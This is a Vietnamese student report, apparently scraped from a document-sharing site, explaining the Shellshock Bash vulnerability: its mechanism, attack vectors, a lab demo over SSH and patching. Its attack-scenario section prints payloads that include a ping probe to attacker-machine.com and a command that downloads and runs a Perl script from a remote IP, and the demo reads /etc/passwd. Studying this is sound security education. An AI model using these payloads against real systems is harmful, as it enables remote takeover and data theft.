Tìm hiểu lỗ hổng shellshock

22 897 0
Tìm hiểu lỗ hổng shellshock

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Tìm hiểu lỗ hổng shellshock Chương I. Tổng quan 1. Lỗ hổng Shellshock 2. Shellshock nguy hiểm như thế nào? 3. Kiểm tra lỗ hổng Shellshock Chương II. Tìm hiểu Shellshock 1.Các khái niệm cơ bản 2. Cách kiểm tra máy bị lỗ hổng Shellshock 3. Cơ chế hoạt động 4. Các cách tấn công: 5. Các kịch bản tấn công: Chương III. Shellshock attack 1. Chuẩn bị 2. Thực hiện tấn công Chương IV. Phương pháp khắc phục

Danh mục Lời nói đầu Bảo mật lĩnh vực mà giới công nghệ thông tin quan tâm Một internet đời phát triển, nhu cầu trao đổi thông tin trở nên cần thiết Mục tiêu việc nối mạng làm cho người sử dụng chung tài nguyên từ vị trí địa lý khác Cũng mà tài nguyên dễ dàng bị phân tán, dẫn điều hiển nhiên chúng bị xâm phạm, gây mát liệu thông tin có giá trị Càng giao thiệp rộng dễ bị công, quy luật Từ đó, vấn đề bảo vệ thông tin đồng thời xuất Bảo mật đời Tất nhiên, mục tiêu bảo mật không nằm gói gọn lĩnh vực bảo vệ thông tin mà nhiều phạm trù khác kiểm duyệt web, bảo mật internet, bảo mật http, bảo mật hệ thống toán điện tử giao dịch trực tuyến… Mội nguy mạng mối nguy hiểm tiểm tàng Từ lổ hổng bảo mật nhỏ hệ thống, biết khai thác lợi dụng với tầng suất cao kỹ thuật hack điêu luyện trở thành tai họa Theo thống kê tổ chức bảo mật tiếng CERT (Computer Emegancy Response Team) số vụ công ngày tăng Cụ thể năm 1989 có khoản 200 vụ, đến năm 1991 có 400 vụ, đến năm 1994 số tăng lên đến mức 1330 vụ, tăng mạnh thời gian tới Như vậy, số vụ công ngày tăng lên với múc độ chóng mặt Điều dễ hiểu, thực thể tồn hai mặt đối lập Sự phát triển mạnh mẽ công nghệ thông tin kỹ thuật làm cho nạn công, ăn cắp, phá hoại internet bùng phát mạnh mẽ Trong thời gian gần xuất số lỗ hổng nghiêm trọng có heartbleel coi lỗ hổng nguy hiểm bên canh xuất lỗ hổng coi nguy hiểm shellshock Qua đè tài nghiên cứu se tìm hiểu độ nguy hiểm cách thức hoạt động sheelshock CHƯƠNG TỔNG QUAN Lỗ hổng ShellShock Shellshock gì? Shellshock, lỗ hổng gán mã CVE-2014-6271, tên ngắn gọn lỗ hổng bảo mật liên quan đến Bash shell (đã gần 30 tuổi), chương trình giúp người dùng/ứng dụng tương tác lệnh điều khiển cho hệ thống máy tính Chương trình có mặt hầu khắp hệ thống chạy hệ điều hành Linux Lỗ hổng Shellshock công bố bới Stephane Chazelas cho phép kẻ công thực thi lệnh điều khiển từ xa hệ thống bị lỗi 2 Shellshock nguy hiểm nào? Shellshock chuyên gia an toàn mạng đánh giá mức độ nguy hểm cao heartbleed Dưới báo cáo tình trạng công sử dụng lỗi Shellshock tổ chức an ninh mạng Trong vòng kể từ lỗ hổng bảo mật Bash thông báo, có nhiều máy tính bị công lỗi Shellshock Ngày 25 tháng năm 2014, máy tính ma (botnets) bị kiểm soát dựa lỗi Shellshock attacker sử dụng để thực công DDoS dò tìm lỗ hổng bảo mật khác máy nạn nhân Kaspersky Labs báo cáo nhiều máy tính bị kiểm soát công Shellshock, gọi “Thanks-Rob”, thực công DDoS tới mục tiêu chưa xác định Vào ngày 26 tháng năm 2014, mạng máy tính ma có liên quan đến Shellshock gọi “wopbot” báo cáo, sử dụng để công DDoS tới Akamai Technologies thực dò tìm lỗ hổng bảo mật nhằm vào Quốc phòng Mỹ Ngày 26 tháng 9, công ty bảo mật Incapsula đưa báo cáo có 17.400 công vào 1.800 trang web, khởi nguồn từ 400 địa IP, 24 trước đó; 55% công đến từ Trung Quốc Mỹ Ngày 30 tháng 9, công ty CloudFlare công bố có khoảng 1,5 triệu công thăm dò ngày liên quan đến lỗi Shellshock Ngày mùng tháng 10, máy chủ Yahoo báo cáo bị kiểm soát công liên quan đến lỗi Shellshock Kiểm tra lỗ hổng Shellshock: Để kiểm tra máy bạn có bị lỗi Shellshock hay không bạn sử dụng đoạn mã sau: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" Nếu kết trả là: vulnerable this is a test tức máy tính (máy chủ) bạn bị dính lỗi CHƯƠNG TÌM HIỂU SHELLSHOCK Các Khái Niệm Cơ SHELL (hay gọi hệ vỏ) interface nằm OS Kernel người dùng, cung cấp môi trường để người dùng thao tác với Kernel Các chương trình shell làm nhiệm vụ thông dịch (interpret) lệnh người dùng sang chương trình có sẵn hệ thống từ thực thi chức tương ứng Các lệnh người dùng nhập trực tiếp qua chế độ tương tác (interactive) thông qua dạng script Các shell script thông dịch (chứ biên dịch – compile) Điểm khác biệt cách thức hoạt động shell trình biên dịch (compiler) là: + shell đọc lệnh script từ xuống, tìm vị trí lệnh hệ thống để thực thi + compiler biên dịch lệnh script sang dạng mà máy tính hiểu được, ví dụ mã máy sinh chương trình (program) tương ứng Chương trình sử dụng shell script sau bash (Bourne Again shell): viết Brian Fox khuôn khổ dự án GNU cho việc thay sh, công bố rộng rãi vào khoảng 1989 Cung cấp nhiều tiện ích shell mặc định sử dụng Linux, Mac OS X, Darwin Đây đối tượng sử dụng trải nghiệm Lỗ hổng Shellshock ảnh hưởng đến Bash, chương trình mà hệ thống Unix sử dụng để thực thi dòng lệnh kịch lệnh Nó thường cài đặt giao diện command-lines mặc định hệ thống Bash phần mềm miễn phí, phát triển hợp tác giám sát từ năm 1992 sở tự nguyện Chet Ramey, kiến trúc sư phần mềm chuyên nghiệp Sau phân tích mã nguồn Bash cho thấy lỗ hổng tồn từ phiên 1.03 phát hành từ 9/1989 Người giới thiệu Brian Fox Cách Kiểm Tra Máy Bị Lỗ Hổng ShellShock Để kiểm tra hệ thống có bị lỗ hổng ta sử dụng câu lệnh đây: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" Các hệ thống bị lỗ hổng kết hình dưới: Các hệ thống không bị lỗ hổng kết quả: Các quản trị hệ thống cần kiểm tra gấp hệ thống đồng thời cập nhật gấp phát hệ thống bị lỗ hổng Hiện có Redhat centos đưa cập nhật Cơ chế hoạt động Trong hệ thống Unix-based hệ điều hành khác mà Bash hỗ trợ, chương trình có danh sách riêng cặp name/values gọi biến môi trường Khi chương trình khởi chạy chương trình khác cung cấp danh sách khởi tạo biến môi trường cho chương trình Mặt khác, Bash lưu giữ danh sách hàm chứa tập lệnh mà thực thi với chương trình Vì Bash hoạt động trình thông dịch lệnh vừa coi lệnh, nên chạy Bash từ môi trường Khi điều xảy ra, thực thể ban đầu export biến môi trường định nghĩa hàm thành thực thể Các định nghĩa hàm export cách mã hóa chúng với biến môi trường có giá trị bắt đầu () theo sau định nghĩa hàm Thực thể Bash, chạy, tìm biến môi trường có giá trị theo định dạng chuyển chúng thành hàm Nó thực việc chuyển đổi cách tạo đoạn mã từ giá trị biến môi trường thực thi nó, vấn đề chỗ phiên Bash lỗi không kiểm tra tính hợp lệ định nghĩa hàm lỗ hổng bảo mật tạo theo cách Từ ta giải thích cách hoạt động cho đoạn mã sau: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" Nó tạo biến môi trường bắt đầu với chuỗi () { :; }, tạo định nghĩa hàm rỗng; theo sau lệnh thực thi biến môi trường export Lệnh Bash chạy sau thực việc export biến môi trường lệnh echo thực thi với Các cách công: Việc công vào Shellshock đơn giản, đơn giản tới mức user bình thường không cần nhiều kiến thức IT thực công Shellshock Để thực công Shellshock bạn cần sử dụng lệnh có dạng sau: $ curl -H "User-Agent: () { :; }; /bin/echo vulnerable" http://example.com/ Tấn công sử dụng User-Agent header request gửi đến web server example.com để server thực chạy lệnh $ echo vulnerable Tại thực công đơn giản thế? việc công vào web server công vào dịch vụ mạng nữa? Dưới giải thích cho cách hoạt động công nêu số dịch vụ bị ảnh hưởng lỗi Shellshock: CGI-based web server Khi web server sử dụng CGI để xử lý request, truyền thông tin có request tới chương trình xử lý sử dụng biến môi trường Ví dụ, biến HTTP_USER_AGENT thông thường chứa tên chương trình gửi request đến web server Nếu trình xử lý request Bash script, thực thi lệnh ví dụ việc sử dụng system call, Bash nhận vào biến môi trường truyền vào server xử lý chúng Kẻ công sử dụng phương thức để kích hoạt công Shellshock với request đặc biệt tới server SSH server OpenSSH có tính ForceCommand, thực lệnh user đăng nhập vào, thay chạy shell để user tương tác với hệ thống Lệnh thực user định nên chạy lệnh khác; trường hợp đó, lệnh ban đầu đưa vào biến môi trường SSH_ORIGINAL_COMMAND Khi chạy lệnh, Bash phân tích biến môi trường SSH_ORIGINAL_COMMAND khởi động, chạy lệnh nhúng vào Kẻ công sử dụng phương thức SSH server để chiếm quyền điều khiên máy nạn nhân có chứa lỗi Shellshock DHCP Một vài DHCP client truyền lệnh cho Bash; hệ thống chứa lỗi bảo mật bị công kết nối tới mạng Wi-Fi công cộng Một DHCP client thường yêu cầu xin cấp địa IP từ DHCP server, cung cấp chuỗi tùy chọn thêm Một DHCP server cung cấp, trong tùy chọn, chuỗi kí tự đặc biệt để khai thác lỗi bảo mật Shellshock Email system Tùy thuộc vào cấu hình hệ thống xác định, gmail mail server truyền tham số đầu vào từ bên vào Bash theo cách khai thác lỗi bảo mật Shellshock Các kịch công: Để thực công Shellshock trước tiên kẻ công phải xác định máy mục tiêu xác định xem máy có dính lỗi bảo mật Shellshock hay không Sau số công sử dụng lỗi Shellshock Thăm dò Kẻ công sử dụng đoạn mã theo dạng () {:;}; /bin/ping -c -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com request tới máy mục tiêu Nếu máy mục tiêu dính lỗi bảo mật Shellshock gửi ping request với nội dung xác định tới máy bị kiểm soát kẻ công Kẻ công sau phân tích gói tin ping request để xác định mục tiêu có lỗi Shellshock Từ chối dịch vụ Tấn công sử dụng đoạn mã sau: () { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20 để server chạy lệnh sleep theo cách khác (do cấu hình hệ điều hành khác nhau), server đợi 20 giây sau phản hồi lại cho client, việc làm tiêu tốn tài nguyên server connection bị chiếm giữ thời gian dài, gây lãng phí nhớ Chiếm quyền điều khiển Mục tiêu kẻ công chiếm quyền điều khiển máy nạn nhân để thực mục đích khác Đoạn mã công có dạng: () { :;}; /bin/bash http://213.x.x.x/ji;curl -c \"cd /tmp;wget -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\" để máy mục tiêu thực download đoạn mã perl thực thi đoạn mã Đoạn chương trình cho phép kẻ công thực truy cập từ xa tới máy nạn nhân CHƯƠNG SHELLSHOCK ATTACK Chuẩn bị Quá trình demo công dựa kịch xây dựng với SSH server Xây dựng máy chủ làm mục tiêu công: Cài đặt máy ảo Ubuntu Server, 12.04 LTS không thực việc nâng cấp phần mềm Hình 1: kiểm tra thông tin máy Kích hoạt dịch vụ ssh: root@ubuntu:~# service sshd start Tạo user cung cấp cho user thư mục nhà cho user này: Hình 2: Tạo user cấp cho user thư mục nhà cho user Sau đó, tạo thư mục shh thêm public key máy công vào tập tin authorized_keys Hình 3: Tạo thư mục shh thêm public key máy công vào tập tin authorized_keys Cuối thực kiểm tra ssh, bước này, đảm bảo ssh vào máy chủ không cần mật Hình 4: Cuối cùng, để thực khai thác, không cần key lưu trữ Chúng ta thay đổi lại để user demo khả đăng nhập sử dụng key lưu trữ Điều thực cách thêm “command=”command bạn muốn” tập tin chứa key Ở ví dụ này, thêm lệnh echo vào Hình 5: Bây giờ, thực ssh lại vào máy chủ, nhận tin nhắn “Access Denied”, việc đăng nhập không thành công có lệnh khác đẩy vào kết nối ssh Hình 6: Thực công Ở phần này, thực công máy chủ dựa lỗ hổng Shellshock Như thực bước cuối phần chuẩn bị, tất lệnh khác không cho phép tài khoản key phù hợp Nhưng thêm vào cú pháp sau với ssh: ' () { :;}; lệnh_của_bạn' Chúng ta thử với việc xem tập tin /etc/passwd: Hình 7: Xem nội dung file passwd Như hình, điều dẫn tới thoả hiệp với máy chủ, key bị đánh cắp từ user Điều vô nguy hiểm kẻ công lấy nội dung tập tin /etc/shadow thực lấy việc bẻ khoá mật Hay đơn giản hơn, kẻ công tạo shell ngược, cung cấp điểm thao tác với máy chủ, từ chuẩn bị cho việc leo thang đặc quyền Hình 8: Hình 9: Hình 10: Từ ví dụ trên, thấy độ nguy hiểm lỗ hổng Shellshock Để vá lại lỗ hổng này, nên cập nhật bash máy chủ với vá nhà phát hành cung cấp Tài liệu tham khảo: ST Tên tài Tác giả Link T liệu Shellsho Wikipe http://en.wikipedia.org/wiki/Shellshock_ ck dia %28software_bug%29 (softwar e bug) Inside John Shellsho Graham https://blog.cloudflare.com/inside-shellshock/ ck: How hackers Cummi are using ng it to exploit systems One Russell http://www.theverge.com/2014/10/1/6882189/one- week Brando week-later-how-much-damage-did-shellshock- later, m cause how much damage did Shellsho ck cause? [...]... chúng ta thấy được độ nguy hiểm của lỗ hổng Shellshock Để vá lại lỗ hổng này, chúng ta nên cập nhật bash trên máy chủ với bản vá do nhà phát hành cung cấp Tài liệu tham khảo: ST Tên tài Tác giả Link T 1 liệu Shellsho Wikipe http://en.wikipedia.org/wiki /Shellshock_ ck dia %28software_bug%29 (softwar 2 e bug) Inside John Shellsho Graham https://blog.cloudflare.com/inside -shellshock/ ck: How hackers Cummi... khai thác lỗi bảo mật Shellshock Email system Tùy thuộc vào cấu hình hệ thống xác định, một gmail mail server có thể truyền tham số đầu vào từ bên ngoài vào Bash theo cách có thể khai thác được lỗi bảo mật Shellshock 5 Các kịch bản tấn công: Để thực hiện các tấn công Shellshock thì trước tiên kẻ tấn công phải xác định các máy mục tiêu và xác định xem các máy đó có dính lỗi bảo mật Shellshock hay không... sau là định nghĩa hàm Thực thể mới của Bash, khi chạy, sẽ tìm các biến môi trường có giá trị theo định dạng này và chuyển chúng thành các hàm Nó thực hiện việc chuyển đổi bằng cách tạo ra một đoạn mã từ giá trị của biến môi trường và thực thi nó, vấn đề ở chỗ các phiên bản Bash lỗi không kiểm tra tính hợp lệ của một định nghĩa hàm do đó một lỗ hổng bảo mật sẽ được tạo ra theo cách này Từ đây ta có thể... xem các máy đó có dính lỗi bảo mật Shellshock hay không Sau đây là một số tấn công sử dụng lỗi Shellshock Thăm dò Kẻ tấn công sẽ sử dụng một đoạn mã theo dạng () {:;}; /bin/ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com trong một request tới máy mục tiêu Nếu máy mục tiêu dính lỗi bảo mật Shellshock nó sẽ gửi 1 ping request với nội dung xác định trên tới máy đã bị kiểm soát bởi kẻ... chứa lỗi Shellshock DHCP Một vài DHCP client có thể truyền các lệnh cho Bash; hệ thống chứa lỗi bảo mật có thể bị tấn công khi kết nối tới một mạng Wi-Fi công cộng Một DHCP client thường yêu cầu xin cấp một địa chỉ IP từ một DHCP server, nhưng nó cũng có thể được cung cấp một chuỗi các tùy chọn thêm Một DHCP server có thể cung cấp, trong một trong những tùy chọn, một chuỗi kí tự đặc biệt để khai thác lỗi... tin nhắn “Access Denied”, việc đăng nhập không thành công cho đến khi có lệnh khác được đẩy vào kết nối ssh Hình 6: 2 Thực hiện tấn công Ở phần này, chúng ta sẽ thực hiện tấn công máy chủ dựa trên lỗ hổng Shellshock Như đã thực hiện ở bước cuối cùng trong phần chuẩn bị, tất cả các lệnh khác sẽ không được cho phép cho đến khi tài khoản và key phù hợp Nhưng khi chúng ta thêm vào cú pháp sau với ssh: '... việc export biến môi trường này và lệnh echo sẽ được thực thi cùng với nó 4 Các cách tấn công: Việc tấn công vào Shellshock là hết sức đơn giản, đơn giản tới mức một user bình thường không cần nhiều kiến thức về IT cũng có thể thực hiện một tấn công Shellshock được Để thực hiện tấn công Shellshock bạn chỉ cần sử dụng lệnh có dạng như sau: $ curl -H "User-Agent: () { :; }; /bin/echo vulnerable" http://example.com/... dính lỗi bảo mật Shellshock nó sẽ gửi 1 ping request với nội dung xác định trên tới máy đã bị kiểm soát bởi kẻ tấn công Kẻ tấn công sau đó sẽ phân tích gói tin ping request để xác định mục tiêu nào có lỗi Shellshock Từ chối dịch vụ Tấn công này có thể sử dụng một đoạn mã như sau: () { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20 để server chạy lệnh sleep theo 3 cách khác nhau (do cấu hình của các... ngoài việc tấn công vào web server ra còn có thể tấn công được vào các dịch vụ mạng nào nữa? Dưới đây là giải thích cho cách hoạt động của tấn công trên và nêu ra một số dịch vụ cũng bị ảnh hưởng bởi lỗi Shellshock: CGI-based web server Khi một web server sử dụng CGI để xử lý một request, nó truyền các thông tin có trong request tới chương trình xử lý sử dụng các biến môi trường Ví dụ, biến HTTP_USER_AGENT...Các quản trị hệ thống cần kiểm tra gấp các hệ thống của mình đồng thời cập nhật gấp khi phát hiện hệ thống đang bị lỗ hổng Hiện tại mới có Redhat và centos đưa ra bản cập nhật 3 Cơ chế hoạt động Trong hệ thống Unix-based và trong các hệ điều hành khác mà Bash hỗ trợ, mỗi chương trình có danh sách riêng của các cặp name/values

Ngày đăng: 26/06/2016, 00:36

Từ khóa liên quan

Mục lục

  • Lời nói đầu

  • CHƯƠNG 1. TỔNG QUAN

    • 1. Lỗ hổng ShellShock

      • Shellshock là gì?

      • 2. Shellshock nguy hiểm như thế nào?

      • 3. Kiểm tra lỗ hổng Shellshock:

      • CHƯƠNG 2. TÌM HIỂU SHELLSHOCK

        • 1. Các Khái Niệm Cơ bản

        • 2. Cách Kiểm Tra Máy Bị Lỗ Hổng ShellShock

        • CHƯƠNG 3. SHELLSHOCK ATTACK

          • 2. Thực hiện tấn công

          • Tài liệu tham khảo:

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan